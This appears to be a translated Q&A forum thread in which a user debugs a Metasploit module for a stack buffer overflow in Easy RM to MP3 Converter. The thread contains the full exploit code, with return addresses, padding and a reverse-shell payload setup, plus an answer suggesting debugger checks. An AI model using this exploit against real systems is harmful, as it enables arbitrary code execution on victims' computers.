0

前段时间我开始学习写漏洞利用并创建了一些漏洞利用。其中一个很容易rm转换mp3,而且效果很好。但是,现在我考虑将我的漏洞利用程序转换为 metasploit 模块,并按照许多文章中给出的步骤进行操作。但是,我面临的唯一错误是有效负载不起作用。最终,我求助于在网上寻找一个类似的模块,并找到了一个肯定可以工作的模块。但是,当使用meterpreter 有效负载时,我没有返回meterpreter 会话或shell。进行一些更改后,这是我使用的:

require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking
 
    include Msf::Exploit::FILEFORMAT
 
    def initialize(info = {})
        super(update_info(info,
            'Name' => 'Easy RM to MP3 Converter (2.7.3.700) Stack Buffer Overflow',
      'Description'    => %q{
                This module exploits a stack buffer overflow in versions 2.7.3.700
               creating a specially crafted .m3u8 file, an attacker may be able 
               to execute arbitrary code.
      },
            'License' => MSF_LICENSE,
            'Author' => 
               [
                 'Crazy_Hacker', # Original
        'buzz',
               ],
            'Version' => 'Version 1',
            'References' =>
                [
                  [ 'URL', 'http://packetstormsecurity.org/files/view/79307/easyrmmp3-overflow.txt' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload' =>
                {
                    'Space' => 1000,
                    'BadChars' => "\x00\x0a",
                    'StackAdjustment' => -3500,
                },
            'Platform' => 'win',
            'Targets' =>
                [
        
                  [ 'Windows XP SP2 (En)', { 'Ret' => 0x01A13F01} ], # Universal Address (MSRMCcodec02.dll)
                  [ 'Windows XP SP3 (Fr)', { 'Ret' => 0x01AAF23A} ], # FFE4 ,JMP, ESP from (MSRMCcodec02.dll)
                  [ 'Windows XP (Universal)', { 'Ret' => 0x773D4540} ], # JMP ESP in (SHELL32.DLL)
                ],
            'Privileged' => false,
            'DefaultTarget' => 1))
 
        register_options(
            [
                OptString.new('FILENAME', [ false, 'The file name.', 'buzz.m3u']),
            ], self.class)
    end
 
 
    def exploit

       sploit ="A"*26068 # rand_text_alphanumeric(26068) # Buffer Overflow
        sploit << [target.ret].pack('V')
        sploit << "\x90" * 30 # nopsled
        sploit << payload.encoded 
        sploit << "B"*1000
        buzz= sploit
        print_status("Creating '#{datastore['FILENAME']}' file ...")
        file_create(buzz)
 
    end
 
end

我尝试了许多有效载荷:meterpreter/reverse_tcp,shell/reverse_tcp等,但似乎都没有。有什么解决办法吗?

4

1 回答 1

0

您还应该提供有关您正在使用的操作系统的更多详细信息以及您为运行该模块而提供的参数。

如您所见,指向 Ret 的指针因操作系统而异。

您是否附加了调试器以查看应用程序中发生了什么?根据我对漏洞的了解和了解,您的模糊测试字符串似乎不适合缓冲区

分裂=“A”*26068

它应该不止于此。附加调试器并查看 EIP 是否已被覆盖。

问候, T0X1C

于 2013-07-01T11:15:29.843 回答